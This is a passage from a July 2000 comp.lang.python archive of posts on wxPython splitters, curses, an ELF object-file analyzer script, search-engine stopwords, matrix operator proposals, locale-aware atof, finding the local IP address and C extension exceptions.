> #sizer.Fit(self.desktopFrame)
>
>         self.Show(true)
>
> if ksSPLIT:
>     self.splitter.SplitVertically(self.leftWin, self.desktopFrame)
>     self.splitter.SetSashPosition(180, true)
>     self.splitter.SetMinimumPaneSize(20)
>
>
> # a jeste pocatecni formular a jeho pracovni podminky
> self.aktivniFormular = None
> self.desktopWin  = None
>
>
> now, when I set ksSPLIT = 0, everything works just fine. the desktopWin
> occupies the whole area of desktopFrame (== self). but as soon as I change
> ksSPLIT = 1, desktopWin takes only a very small area of desktopFrame
(about
> 10x10 pixels) and it won't scale with the desktopFrame.
>
> thanks for your help.
> Jan
>
> --
>   Jan Fedak                            talk:jack at tornado.sh.cvut.cz
>   mailto:J.Fedak at sh.cvut.cz                    mailto:jack at mobil.cz
>                 Linux - the ultimate NT Service Pack.


From wlfraed at ix.netcom.com  Thu Jul 20 23:43:26 2000
From: wlfraed at ix.netcom.com (Dennis Lee Bieber)
Date: Thu, 20 Jul 2000 20:43:26 -0700
Subject: zip() : how about braid()
References: <Pine.BSF.4.10.10007191838040.26945-100000@chi.pair.com> <397681C6.FEAEE2E@my.signature> <ur6ens0t2evouijdsi70bsbb5p831meh4n@4ax.com> <397746AE.3CCDD423@schneider-kamp.de>
Message-ID: <j4hfns80kvtnp2o189goig0cs81fldth82@4ax.com>

On Thu, 20 Jul 2000 18:36:31 +0000, Peter Schneider-Kamp
<peter at schneider-kamp.de> declaimed the following in comp.lang.python:

> 
> It's not that silly. An older proposal favored marry().
> 
> But imho marry() and partner() implicate the zipping
> of two lists (even stronger than the zipper zip()).
>
	I think I just found part of that original line (at least, I did
a "marry" at the end of the subject).

	I dug up an old APL text, and found an operator that might fit,
so suggested "laminate()" -- definitely doesn't imply only two (though
APL, having just dyadic mode did have a limit of two arrays for input).


--
 > ============================================================== <
 >   wlfraed at ix.netcom.com  | Wulfraed  Dennis Lee Bieber  KD6MOG <
 >      wulfraed at dm.net     |       Bestiaria Support Staff       <
 > ============================================================== <
 >        Bestiaria Home Page: http://www.beastie.dm.net/         <
 >            Home Page: http://www.dm.net/~wulfraed/             <


From akuchlin at mems-exchange.org  Tue Jul 11 12:37:04 2000
From: akuchlin at mems-exchange.org (Andrew Kuchling)
Date: 11 Jul 2000 12:37:04 -0400
Subject: [NEWBIE] Curses question
References: <smeropktnu126@corp.supernews.com>
Message-ID: <3du2dwzkr3.fsf@kronos.cnri.reston.va.us>

sill at localhost.kitenet.net (Oldayz) writes:
> #!/usr/bin/env python
> import curses
> stdscr = curses.initscr()
> stdscr.addstr(1, 1, 'Test.')

You need to call stdscr.refresh() to actually force output to the
screen.  curses works by keeping a copy of what the user's screen
looks like, and what the screen looks like as modified by the program;
.refresh() synchronizes the two. (This comes from curses's ancestry in
a world with limited-speed terminals.)

You probably also want the program to pause for a bit after updating
the screen; add stdscr.getch() to wait for a keystroke, or
a time.sleep() call to pause for some number of seconds.

--amk


From angband at blueyonder.co.uk  Tue Jul 11 18:26:41 2000
From: angband at blueyonder.co.uk (Bablos)
Date: Tue, 11 Jul 2000 22:26:41 GMT
Subject: Script for checking FTP + HTTP links?
Message-ID: <396BAD73.MD-1.4.4.angband@blueyonder.co.uk>

Hi There...

I'm looking for a script that can check through several HTML files and
check the links to other HTML files, and also any files linked via FTP
and HTTP. I've found a Perl script that does this, and there MUST be a
Python script out there that does it.

Any ideas where I can find such a script?  I'd try writing one myself,
but the idea just gives me a headache!


Bablos.


From wware at world.std.com  Thu Jul 20 12:05:00 2000
From: wware at world.std.com (Will Ware)
Date: Thu, 20 Jul 2000 16:05:00 GMT
Subject: ELF file analyzer
Message-ID: <Fy07CC.11p@world.std.com>

I am needing to do some work with ELF files, and I found it
useful to write a script that picks apart the pieces and tells
what it in there. It is incomplete, and primarily optimized for
looking at *.o files, but it seems to work well at what it does.
In addition to the information from the Muppet Labs web page, I
also got additional information from /usr/include/elf.h on a
Red Hat 6.2 box.

===========================================================
#!/usr/bin/env python
# Python script for analyzing ELF object files
# See http://www.muppetlabs.com/~breadbox/software/ELF.txt
# for information about the Executable and Linkable Format (ELF)

import sys, os, string, types

elf_file = { }
lookupThings = [ ]

# The kinds of fields we see in elf file structs.
(INTEGER, STRINGP, STRING) = range(3)

bytes = [ ]
for L in open(sys.argv[1]).read():
    for x in list(L):
        y = ord(x)
        if y < 0: y = y + 256
        bytes.append(y)

def get_struct(pointer, struct_descriptor, namespace=None):
    if namespace == None:
        namespace = { }
    namespace['struct_type'] = struct_descriptor
    for tup in struct_descriptor:
        fieldType, fieldName, numBytes = tup[:3]
        if fieldType == INTEGER or fieldType == STRINGP:
            shift = 0
            value = 0
            for i in range(numBytes):
                # assume little-endian
                value = (bytes[pointer] << shift) + value
                pointer = pointer + 1
                shift = shift + 8
            if len(tup) > 3:
                if tup[3] != value:
                    raise 'violated expected value'
            namespace[fieldName] = value
        elif fieldType == STRING:
            expval = ""
            value = ""
            for i in range(numBytes):
                value = value + chr(bytes[pointer])
                pointer = pointer + 1
            if len(tup) > 3:
                if tup[3] != value:
                    raise 'violated expected value'
            namespace[fieldName] = value
        else:
            raise 'bad case statement'
    return (pointer, namespace)

def interpret_field(fieldName, fieldType, value, strtab_index=None):
    def get_string(offset, strtab_index):
        z = offset
        try:
            # Find the address of the string table (a). e_shoff is
            # where the the section headers start, 40 is the size of a
            # section header, 16 is the offset into the section header
            # for the offset of the string table.
            a = elf_file['e_shoff'] + 40 * strtab_index + 16
            z = z + bytes[a] + (bytes[a+1] << 8) + \
                (bytes[a+2] << 16) + (bytes[a+3] << 24)
            str = ""
            while 1:
                ch = bytes[z]
                if ch == 0:
                    return str
                str = str + chr(ch)
                z = z + 1
        except:
            return '<bad elf file string> 0x%X' % offset
    def printable(str):
        r = ""
        for i in range(len(str)):
            c = ord(str[i])
            if c >= 32 and c < 127:
                c = chr(c)
            else:
                c = '\\%03o' % c
            r = r + c
        return r
    if strtab_index == None:
        strtab_index = elf_file['e_shstrndx']
    myLookup = None
    for lookup in lookupThings:
        if lookup['fieldName'] == fieldName:
            myLookup = lookup
            break
    if fieldType == INTEGER:
        r = '0x%X %d' % (value, value)
        if myLookup != None:
            try:
                r = r + ': ' + myLookup['func'](value)
            except KeyError:
                try:
                    r = r + ': ' + myLookup[value]
                except KeyError:
                    pass
        return r
    elif fieldType == STRINGP:
        return ('0x%X %d: "%s"' %
                (value, value,
                 printable(get_string(value, strtab_index))))
    elif fieldType == STRING:
        return '"' + printable(value) + '"'

def show_block(offset, size, alpha=0):
    j = 0
    while j < size:
        print '%05X %04X:' % (offset, j),
        while j < size:
            ch = bytes[offset]
            offset = offset + 1
            j = j + 1
            if alpha and ch > 0x20 and ch < 0x7F:
                ch = chr(ch) + ' '
            else:
                ch = '%02X' % ch
            print ch,
            if (j & 15) == 0:
                break
        print

def dump_struct(name, structdict, indentlevel=0, strtab_index=None):
    struct_type = structdict['struct_type']
    if struct_type == None:
        strtab_index = elf_file['e_shstrndx']
    indent = indentlevel * '  '
    print indent + name
    for k in structdict.keys():
        if k != 'struct_type':
            for tup in struct_type:
                if tup[1] == k:
                    fieldType = tup[0]
                    break
            print indent + '  ' + k + ': ' + \
                  interpret_field(k, fieldType,
                                  structdict[k], strtab_index)

#################################################

elf_file_header = [
    # field_type, field_name, number_of_bytes, [expected_value]
    (STRING, 'e_ident', 16,
     "\177ELF\001\001\001\000\000\000\000\000\000\000\000\000"),
    (INTEGER, 'e_type', 2),
    (INTEGER, 'e_machine', 2),
    (INTEGER, 'e_version', 4),
    (INTEGER, 'e_entry', 4),
    (INTEGER, 'e_phoff', 4),
    (INTEGER, 'e_shoff', 4),
    (INTEGER, 'e_flags', 4),
    (INTEGER, 'e_ehsize', 2),
    (INTEGER, 'e_phentsize', 2),
    (INTEGER, 'e_phnum', 2),
    (INTEGER, 'e_shentsize', 2),
    (INTEGER, 'e_shnum', 2),
    (INTEGER, 'e_shstrndx', 2),
    ]

def e_flags_interpret(flags):
    r = ''
    if flags & 1: r = r + 'EF_MIPS_NOREORDER '
    if flags & 2: r = r + 'EF_MIPS_PIC '
    if flags & 4: r = r + 'EF_MIPS_CPIC '
    if flags & 8: r = r + 'EF_MIPS_XGOT '
    if flags & 16: r = r + 'EF_MIPS_64BIT_WHIRL '
    if flags & 32: r = r + 'EF_MIPS_ABI2 '
    if flags & 64: r = r + 'EF_MIPS_ABI_ON32 '
    # if flags & 0xf0000000: r = r + 'EF_MIPS_ARCH '
    return r[:-1]
lookupThings.append({
    'fieldName': 'e_flags',
    'func': e_flags_interpret
    })

e_type_types = {
    'fieldName': 'e_type',
    0: 'ET_NONE',
    1: 'ET_REL',
    2: 'ET_EXEC',
    3: 'ET_DYN',
    4: 'ET_CORE',
    5: 'ET_NUM',
    0xff00: 'ET_LOPROC',
    0xffff: 'ET_HIPROC'
    }
lookupThings.append(e_type_types)

e_machine_types = {
    'fieldName': 'e_machine',
    0: 'EM_NONE',
    1: 'EM_M32',
    2: 'EM_SPARC',
    3: 'EM_386',
    4: 'EM_68K',
    5: 'EM_88K',
    6: 'EM_486',
    7: 'EM_860',
    8: 'EM_MIPS',
    9: 'EM_S370',
    10: 'EM_MIPS_RS4_BE',
    11: 'EM_RS6000',
    0xE813: 'Equator'}
lookupThings.append(e_machine_types)

######################################################
# Program Header

program_header = [
    (INTEGER, 'p_type', 4),
    (INTEGER, 'p_offset', 4),
    (INTEGER, 'p_vaddr', 4),
    (INTEGER, 'p_paddr', 4),
    (INTEGER, 'p_filesz', 4),
    (INTEGER, 'p_memsz', 4),
    (INTEGER, 'p_flags', 4),
    (INTEGER, 'p_align', 4)
    ]

p_header_types = {
    'fieldName': 'p_type',
    0: 'PT_NULL',
    1: 'PT_LOAD',
    2: 'PT_DYNAMIC',
    3: 'PT_INTERP',
    4: 'PT_NOTE',
    5: 'PT_SHLIB',
    6: 'PT_PHDR',
    7: 'PT_NUM',
    0x60000000: 'PT_LOOS',
    0x6fffffff: 'PT_HIOS',
    0x70000000: 'PT_LOPROC',
    0x7fffffff: 'PT_HIPROC',
    }
lookupThings.append(p_header_types)

##############################################
# Section header

section_header = [
    (STRINGP, 'sh_name', 4),
    (INTEGER, 'sh_type', 4),
    (INTEGER, 'sh_flags', 4),
    (INTEGER, 'sh_addr', 4),
    (INTEGER, 'sh_offset', 4),
    (INTEGER, 'sh_size', 4),
    (INTEGER, 'sh_link', 4),
    (INTEGER, 'sh_info', 4),
    (INTEGER, 'sh_addralign', 4),
    (INTEGER, 'sh_entsize', 4)
    ]

section_header_types = {
    'fieldName': 'sh_type',
    0: 'SHT_NULL',
    1: 'SHT_PROGBITS',
    2: 'SHT_SYMTAB',
    3: 'SHT_STRTAB',
    4: 'SHT_RELA',
    5: 'SHT_HASH',
    6: 'SHT_DYNAMIC',
    7: 'SHT_NOTE',
    8: 'SHT_NOBITS',
    9: 'SHT_REL',
    10: 'SHT_SHLIB',
    11: 'SHT_DYNSYM',
    12: 'SHT_NUM',
    0x60000000: 'SHT_LOOS',
    0x6ffffffb: 'SHT_LOSUNW',
    # 0x6ffffffb: SHT_SUNW_COMDAT ??
    0x6ffffffc: 'SHT_SUNW_syminfo',
    0x6ffffffd: 'SHT_GNU_verdef',
    0x6ffffffe: 'SHT_GNU_verneed',
    0x6fffffff: 'SHT_GNU_versym',
    0x6fffffff: 'SHT_HISUNW',
    0x6fffffff: 'SHT_HIOS',
    0x70000000: 'SHT_LOPROC',
    0x7fffffff: 'SHT_HIPROC',
    0x80000000: 'SHT_LOUSER',
    0x8fffffff: 'SHT_HIUSER',
    }
lookupThings.append(section_header_types)

def sh_flags_interpret(flags):
    r = ''
    if flags & 0x1: r = r + 'SHF_WRITE '
    if flags & 0x2: r = r + 'SHF_ALLOC '
    if flags & 0x4: r = r + 'SHF_EXECINSTR '
    # if flags & 0xf0000000: r = r + 'SHF_MASKPROC '
    return r[:-1]
lookupThings.append({
    'fieldName': 'sh_flags',
    'func': sh_flags_interpret
    })

##############################################
# Symbol table

elf_symbol = [
    (STRINGP, 'st_name', 4),
    (INTEGER, 'st_value', 4),
    (INTEGER, 'st_size', 4),
    (INTEGER, 'st_info', 1),
    (INTEGER, 'st_other', 1),
    (INTEGER, 'st_shndx', 2)
    ]

symbol_bindings = {
    0: 'STB_LOCAL',
    1: 'STB_GLOBAL',
    2: 'STB_WEAK',
    3: 'STB_NUM',
    10: 'STB_LOOS',
    12: 'STB_HIOS',
    13: 'STB_LOPROC',
    15: 'STB_HIPROC',
    }

symbol_types = {
    0: 'STT_NOTYPE',
    1: 'STT_OBJECT',
    2: 'STT_FUNC',
    3: 'STT_SECTION',
    4: 'STT_FILE',
    5: 'STT_NUM',
    11: 'STT_LOOS',
    12: 'STT_HIOS',
    13: 'STT_LOPROC',
    15: 'STT_HIPROC',
    }

def st_info_interpret(info):
    return (symbol_bindings[info >> 4] + ' ' +
            symbol_types[info & 0x0F])
lookupThings.append({
    'fieldName': 'st_info',
    'func': st_info_interpret
    })

##############################################

pointer, dummy = get_struct(0, elf_file_header, elf_file)
dump_struct(sys.argv[1], elf_file, 0)

pointer = elf_file['e_phoff']
for i in range(elf_file['e_phnum']):
    pointer, d = get_struct(pointer, program_header)
    dump_struct('Program Section %d' % i, d, 1)
    # I don't yet know how the note section works.
    #if d['p_type'] == 4:
    #    # it's notes, let's look at the ASCII
    #    show_block(d['p_offset'], d['p_memsz'], 1)

pointer = elf_file['e_shoff']
for i in range(elf_file['e_shnum']):
    pointer, d = get_struct(pointer, section_header)
    dump_struct('Section %d' % i, d, 1)
    if d['sh_type'] == 3:
        # it's a string table, let's look at the ASCII
        show_block(d['sh_offset'], d['sh_size'], 1)
    elif d['sh_type'] == 2:
        # it's a symbol table, so print the symbols
        for i in range(d['sh_size'] / 16):
            dummy, e = get_struct(d['sh_offset'] + i * 16, elf_symbol)
            dump_struct('Symbol', e, 2, d['sh_link'])

-- 
 - - - - - - - - - - - - - - - - - - - - - - - -
Resistance is futile. Capacitance is efficacious.
Will Ware	email:    wware @ world.std.com


From luthi at vaw.ethz.nothing.ch  Tue Jul 11 14:02:45 2000
From: luthi at vaw.ethz.nothing.ch (luthi at vaw.ethz.nothing.ch)
Date: 11 Jul 2000 20:02:45 +0200
Subject: Solaris Binaries
References: <Pine.GHP.4.21.0007111141360.16443-100000@don.et.byu.edu>
Message-ID: <yfmvgyca6ka.fsf@pallas.i-did-not-set--mail-host-address--so-shoot-me>

Try http://sunfreeware.com


From alex at magenta.com  Sat Jul 15 04:37:45 2000
From: alex at magenta.com (Alex Martelli)
Date: Sat, 15 Jul 2000 10:37:45 +0200
Subject: Top 10 Language Constructs (Phyton)
References: <8kmkam$m45$1@pollux.ip-plus.net> <396EE7BC.DA2FA7B3@darwin.in-berlin.de> <8kn71u02nn4@news2.newsguy.com> <8knng5$eue$1@slb3.atl.mindspring.net>
Message-ID: <8kpavi04id@news1.newsguy.com>

"Aahz Maruch" <aahz at netcom.com> wrote in message
news:8knng5$eue$1 at slb3.atl.mindspring.net...
> In article <8kn71u02nn4 at news2.newsguy.com>,
> Alex Martelli <alex at magenta.com> wrote:
> >"Dinu C. Gherman" <gherman at darwin.in-berlin.de> wrote in message
> >news:396EE7BC.DA2FA7B3 at darwin.in-berlin.de...
> >>
> >> I doubt this will be very useful, like the answer to the
> >> question: "Which are the ten most used words in English?".
> >
> >That one is pretty useful, actually (it identifies the all-too-
> >frequent words, like 'the', 'of', etc, which a full-text search
> >engine had better just skip over:-).
>
> That's wrong.  How do you search for the phrase "the White House"?

You get all adjacencies of 'white' and 'house', assuming your
search tables are case-insensitive (which they should not be,
for umpteen reasons, but that's another thread, I guess).  This
only adds a modest number of false positives: since you were
going to get references to "the white house at the corner of
Elm and Main" anyway, it's no great hardship to also get any
"a white house, quite pretty, with a red roof".

But meanwhile you're protecting yourself against losing many
relevant positives due to quirks of English syntax and idiom.
"White House sources denied the allegations" and "The White
House denied the allegations" are basically equivalent; "the",
like all such syntax-marker words, tends to appear or
disappear from phrases depending, unsurprisingly, on syntax
(and idiom) issues.

And your tables shrink usefully.  You can invest the saved
space to provide other precious services that are often
skimped on, like, guess what!, proper casing-flags, flags
for inflection, etc.  So you can search for: {white constrain
initial-cap} adjacent {house constrain initial-cap, singular}
and get all "properly capitalized" references to the White
House, with or without article.


> (Trust me, this is one area I'm a real expert.)

I'm out of touch with recent research in the field -- it's
been over a decade since I did computational linguistics --
but my recent usage of full-text search engines, now so
prevalent on the net, does not seem to show me any advance
in the art.  Maybe there are new algorithms and data
structures providing speed-ups on the search engine (some
of the engines ARE remarkably fast, I will admit), but the
*search quality* issues, which are connected with what to
include in the tables, search-language semantics, etc, seem
to be still all there (indeed, the search engine I find
myself using most often [because it's so wondrously fast]
is extremely poor this way -- can't even ask for adjacency
or nearby-words, etc, etc; but "brute force wins again":-).


Alex





From cg at gaia.cdg.acriter.nl  Mon Jul  3 02:23:33 2000
From: cg at gaia.cdg.acriter.nl (Cees de Groot)
Date: 3 Jul 2000 08:23:33 +0200
Subject: Aspect-oriented Python?
References: <4.2.0.58.20000703140633.00be3c30@imaphost>
Message-ID: <8jpbh5$jim$1@gaia.cdg.acriter.nl>

Martin Kew  <Martin.Kew at vsl.com.au> said:
>The reason for presenting this overview was the overwelming lack of 
>interest in the first
>email by Cees de Groot.
>
Thanks :-). Somehow, I always assume I lag behind in discovering new
technologies, especially on a group like this one, which so much
programming language and computer-science related prowess. Seems not
to have been the case this time (or, of course, the subject is genuinly
boring and uninteresting ;-)). 

Aspect-oriented programming and its family members subject oriented
programming (older, by IBM) and adaptive programming are really 
interesting tracks. According to the Xerox team, the status at the
moment is more-or-less the status of OOP twenty years ago, all the
more reason for looking for lightweight language testbeds. 


-- 
Cees de Groot               http://www.cdegroot.com     <cg at cdegroot.com>
GnuPG 1024D/E0989E8B 0016 F679 F38D 5946 4ECD  1986 F303 937F E098 9E8B
Forge your CipherSaber and list it: http://www.xs4all.nl/~cg/ciphersaber/


From bwarsaw at beopen.com  Sun Jul 30 11:33:38 2000
From: bwarsaw at beopen.com (Barry A. Warsaw)
Date: Sun, 30 Jul 2000 11:33:38 -0400 (EDT)
Subject: Content of the Perl6 talk
References: <16E8935DE8C35BF0.1E652ED229DA405D.479F9E5D07D36E5F@lp.airnews.net>
	<398126DE.6E2C2627@ajubasolutions.com>
	<m3k8e6q7qr.fsf@bluepeak.westend.com>
	<3981EDA1.1CB1CE07@ajubasolutions.com>
	<cpbszgevg0.fsf@cj20424-a.reston1.va.home.com>
Message-ID: <14724.19154.174891.634614@anthem.concentric.net>

>>>>> "GvR" == Guido van Rossum <guido at beopen.com> writes:

    GvR> The best you could hope for would be something at the (much
    GvR> lower) level of Java bytecode, with extensive
    GvR> language-specific runtime support for language-specific
    GvR> object semantics.  This is what the Python translator that
    GvR> Mark Hammond wrote for Microsoft's .NET project does.

Probably much more useful, if possible, would be to modularize some
key functionality that the languages have in common.  The only example
I can think of off hand would be a regexp engine.  It's kind of silly
that all three languages would support the same syntax and largely the
same features and functionality with entirely different code bases.

-Barry



From db3l at fitlinxx.com  Mon Jul 24 13:51:30 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 24 Jul 2000 13:51:30 -0400
Subject: iterating over lines in a file
References: <Uvqd5.21615$DZ4.69024@news.corecomm.net> <hMrd5.49275$e6.2860918@pouncer.easynews.com> <8l73an01lgb@news2.newsguy.com> <vnLd5.27741$r9.839310@news.easynews.com> <DSOd5.25099$DZ4.83839@news.corecomm.net> <slrn8nhj0s.jr0.cjc26@synecdoche.sowrong.org> <jlie5.28024$DZ4.107957@news.corecomm.net> <uhf9g4eam.fsf@ctwd0143.fitlinxx.com> <%TVe5.12$o45.2102@news.corecomm.net>
Message-ID: <u1z0jquvx.fsf@ctwd0143.fitlinxx.com>

nobody <no at bo.dy> writes:

> what i was actually trying to do was a prepend-this-string-to-that-file
> routine, and i think i got it. the straight translation from perl got
> really, really long due to all the try-except pairs; i like exceptions
> better than perl's "do {} or die" idiom as they're clearer and seem more
> flexible, but they're sure more verbose, too.

You may find that by applying the exception handling more
strategically, that you can both streamline your code and make it more
readable.

If you're used to checking result codes from a function, the
inclination is probably to place every function call in its own
try/except clause, which can lead to pretty verbose code.  But if you
look at the problem from the perspective of recovery, you'll probably
find that your exception handling makes more sense at a higher level
than the lowest function calls.

For example, in your function to prepend-this-string-to-that-file, you
probably have several operations that can fail (the open, the I/O, and
so on).  But it's the integrity of the overall operation that you are
probably concerned with, so I'd expect that a single try/except clause
around the operation in general would be sufficient for exception
handling.  Without seeing the code, I'd bet that the failure course is
pretty similar regardless of how or where within the process of
prepending the line things fail.  (Of course, I could be wrong too :-))

--
-- David
--
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From mwh21 at cam.ac.uk  Tue Jul 11 15:25:29 2000
From: mwh21 at cam.ac.uk (Michael Hudson)
Date: 11 Jul 2000 20:25:29 +0100
Subject: Test results of linuxaudiodev.c
References: <Pine.SGI.3.96.1000629173646.621134u-100000@happy> <m3r99e7v1e.fsf@atrus.jesus.cam.ac.uk> <3961D8F8.983@rd.francetelecom.fr>
Message-ID: <m3zonoqxjq.fsf@atrus.jesus.cam.ac.uk>

Sorry for the delay (bloody ethernet cables).

Alexandre Ferrieux <alexandre.ferrieux at rd.francetelecom.fr> writes:

> Michael Hudson wrote:
> > 
> > >     dsp = linuxaudiodev.open("w")
> > >     dsp.setparameters(au.getframerate(), au.getsampwidth() * 8,
> > >                       au.getnchannels(), formats[spec])
> > >     dsp.write(data)
> > >     dsp.close()
> > 
> > This doesn't work.  I don't really understand why.
> 
> Can you characterize "doesn't work" ?
> If by this you mean 'no errors, no sound', then probably the problem
> is that the close doesn't (by default) linger until all the queued data
> have been played - in which case success is just one ioctl() away...

No, it does this:

[mwh21 at atrus test]$ ../../../build/python test_linuxaudiodev.py
Traceback (most recent call last):
  File "test_linuxaudiodev.py", line 27, in ?
    test()
  File "test_linuxaudiodev.py", line 25, in test
    play_au_file(findfile('audiotest.au'))
  File "test_linuxaudiodev.py", line 20, in play_au_file
    au.getnchannels(), formats[spec])
KeyError: ('ULAW', 2)

Does it work for you?

I *think* the problems in sunau.py, but again, I know very little
about audio formats...

Cheers,
M.


-- 
  A witty saying proves nothing.                           -- Voltaire


From wtanksle at dolphin.openprojects.net  Wed Jul 19 13:34:42 2000
From: wtanksle at dolphin.openprojects.net (William Tanksley)
Date: Wed, 19 Jul 2000 17:34:42 GMT
Subject: Operators for matrix: current choices (Was Matlab vs Python ...)
References: <Pine.LNX.4.10.10007181420000.9411-100000@rock.localdomain>
Message-ID: <slrn8nbplh.jng.wtanksle@dolphin.openprojects.net>

On Tue, 18 Jul 2000 14:21:12 -0700 (PDT), Huaiyu Zhu wrote:

>Before we plunge into this thing which may turn out to be more laborious
>than MatPy itself, we need to get a handle on what's involved.  Let me make
>a list in order of my preference.  Please jump in at any point that's both
>feasible and interesting enough for someone to actually do it:

Just some comments.

>1. Make a pure python way to introduce additional operators, like
>   import NewOperator
>   NewOperator.define(".+", "__dotadd__")
>   NewOperator.define("+=", "__add_ab__")
>   NewOperator.define(":=", "__copy__")

This isn't feasable -- it would require modifying the lexer and parser at
runtime, which would be a MAJOR change and can have unpredictable results.
(You know what I mean if and only if you've ever written a compiler with a
grammar.)

>6. Maintain two classes: E and M.  

>   Advantage: no need for new operators.
>   Disadvantage: artificial casting likely to be maintenance nightmare,
>   because we change objects while we really want to change operators.

>   A variant: only use .E for elementwise.  Always return matrixwise.  This
>   is simply just using casting to help select among two methods denoted by
>   the same binary symbol.  Does not look much better than 4 but worth
>   considering. 

This, IMO, is actually the best of the solutions.  It imitates paper
notation for a lot of transformations, and it's fully as fast as using
special functions for dot (and other) multiplication.  It doesn't involve
any unneeded duplication.

>8. Use preprocessor on another file extension like .mpy

I hope not.  Ugh.

>9. Use a miniparser for expressions in strings.
>   Advantage: artificially looks like pure python.

It's not artificial -- you'd be using Python's own parser.  However, I
agree with your list of disadvantages; I don't like it.

>10. Use list comprehension.

>	Advantage: apparently none.
>	Disadvantage: admitting that elementwise operations cannot be
>	encapsulated.  Need a new syntactic structure with brackets, loops,
>	dummy variables, scope delimitor (: or ;) implicitly parrallel for loops
>	and implicit casting.  Yuck!!!

>Note: I dislike some of the proposals because they look like ugly hacks to
>use the abundance of class names, method names, function names and string
>literals to walk around what is clearly just a shortage of a few operator
>symbols.  But I don't think we can reach consensus on such issue anyhow.
>
>If there is no more proposal forthcoming, I will adopt a combination of
>options 3 and 4, and hoping for someone to come up with 1.  The largest
>problem with this approach is this: If we can't guarantee the patch is
>usable everywhere, do we want everybody using these operators?  Will it run
>on another machine, or even another version of python?  If such a status
>persists for a long time I guess all codes will settle into a local optimum,
>something like
>
>(a.emul(b))*(c.emul(d))
>
>and an opportunity would be lost, even if in reality most people actually
>like (a.*b)*(c.*d).  This incidentally also removes an opportunity to see if
>elementwise operators might be useful elsewhere, like
>
>["%5.2f", "%-8s", "%.2g"] .% [pi, 'short', 1]
>
>["Alice", "Bob", "Charlie"] .+ "is" .+ ["girl", "boy", "boy"]
>
>The argument "if it finds wide-spread use we may put it in the language" has
>a severe limitation - if it is technically very difficult for users to use a
>feature that's not in the language, it will unlikely to find wide-spread use
>and may never get into the language.  That's why I really hope something
>like 1 can come up.
>
>Inputs greatly appreciated.
>
>
>Huaiyu
>
>
>
>
>
>
>
>
>
>
>
>


-- 
-William "Billy" Tanksley


From wjdandreta at worldnet.att.net  Thu Jul 13 17:54:38 2000
From: wjdandreta at worldnet.att.net (William Dandreta)
Date: Thu, 13 Jul 2000 21:54:38 GMT
Subject: atof problem.
Message-ID: <yUqb5.977$tI4.52638@bgtnsc05-news.ops.worldnet.att.net>

I am having a problem with the atof function. I tried to convert 1,142.00 to
a float but the comma causes a problem. I resolved the problem by removing
the comma but there must be a better way.

I looked in the documentation and there was mention of the $LANG
environmental variable but it did not tell haw to use it. Also, it mentioned
settings could be made using the functions in locale module. I tried to
import the locale module but I get an error message that the _locale module
doesn't exist.

Anyone have a clue about this?

Bill




From mfletch at tpresence.com  Mon Jul 17 13:40:43 2000
From: mfletch at tpresence.com (Mike Fletcher)
Date: Mon, 17 Jul 2000 13:40:43 -0400
Subject: Getting local IP address...
Message-ID: <CC59868A0A76D311B1F50090277B321C1F342C@VRTMAIL>

import socket
def getLocalHostIP( remote = ("www.python.org", 80)):
	'''Get the "public" address of the local machine, i.e.
	that address which is connected to the general internet.
	Code by Donn Cave, posted to comp.lang.python'''
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect( remote )
	ip, localport = s.getsockname()
	s.close()
	return ip

That is actually from a Deja posting, seems to be fairly portable, doesn't
rely on parsing obscure Unix command responses, is readable, and is
generally quite reliable. The more common socket-module-based approach (see
Deja) can be confused if you have multiple network interface cards, but is
still portable (i.e. if you only have a single network interface card, it
should work on all system supporting the socket module).

Enjoy yourselves,
Mike



From etiennel at geospace.co.za  Tue Jul 18 09:33:59 2000
From: etiennel at geospace.co.za (Etienne Labuschagne)
Date: Tue, 18 Jul 2000 15:33:59 +0200
Subject: Problems with exception classes in C
Message-ID: <963930221.27555@proxy.lia.net>

Hi there

I have written an extension module in C under Borland's C++ Builder 4.
Everything works fine except exceptions!

eg. the following compiles fine, but when it gets executed it causes and
access violation (which crashes the interpreter)

...
catch(...)    {
    PyErr_SetString(PyExc_TypeError, "An unknown error occurred.");
    return NULL;
    }

The above code is a catch-all to ensure that the interpreter is not crashed,
but the above code causes an access violation at the PyErr_SetString line
(if I step through in the debugger - running it normally just crashes the
Python interpreter).

Actually, all of the PyErr_Set... functions causes the same access
violation.  Am I doing something obviously wrong?  Must the PyExc_TypeError
object (or something else in the Python error handling) be initialised in
some way beforehand?

Any help would be greatly appreciated!

Regards
Etienne








From paul at prescod.net  Sat Jul  1 15:12:01 2000
From: paul at prescod.net (Paul Prescod)
Date: Sat, 01 Jul 2000 14:12:01 -0500
Subject: Class vrs. function
References: <395E2425.8F6F8757@uniserve.com>
Message-ID: <395E4281.452C26DE@prescod.net>

Bob van der Poel wrote:
> 
> ...
> 
> Is this just a good habit being developed by those who think that
> classes are better than functions, or god forbid, inline code?

Given what you've said, that one-function class looks pretty bizarre. Is
there maybe something else useful about it that you haven't noticed?
Classes are not better than functions. They are just different. In most
cases, you use classes when you need to combine data and instructions.

-- 
 Paul Prescod - Not encumbered by corporate consensus
The calculus and the rich body of mathematical analysis to which it 
gave rise made modern science possible, but it was the algorithm that 
made the modern world possible.
	- The Advent of the Algorithm (pending), by David Berlinski



From boud at rempt.xs4all.nl  Sat Jul  1 03:02:50 2000
From: boud at rempt.xs4all.nl (Boudewijn Rempt)
Date: 1 Jul 2000 07:02:50 GMT
Subject: [Tkinter]: Where is a good place to learn how to use this...?
References: <20000630211051.11572.qmail@web5301.mail.yahoo.com>
Message-ID: <8jk52q$6fs$1@news1.xs4all.nl>

Dave Williams <xiarcexml at yahoo.com> wrote:

> Where is a good (free maybe) online resource for
> this?? And my "book" doesn't really seem to get into
> Tkinter either, so is there one I should be reading
> that does?

Python and Tkinter Programming, by Grayson and published by Manning,
is the very best resource for Tkinter programming there is - and if
you use another toolkit, then it's still full of insight, useful advice
and inspiration.  

-- 

Boudewijn Rempt  | http://www.valdyas.org


From tim_one at email.msn.com  Fri Jul 28 19:33:17 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Fri, 28 Jul 2000 19:33:17 -0400
Subject: The State of Python
In-Reply-To: <slrn8o2tn3.lbh.stianh@localhost.localdomain>
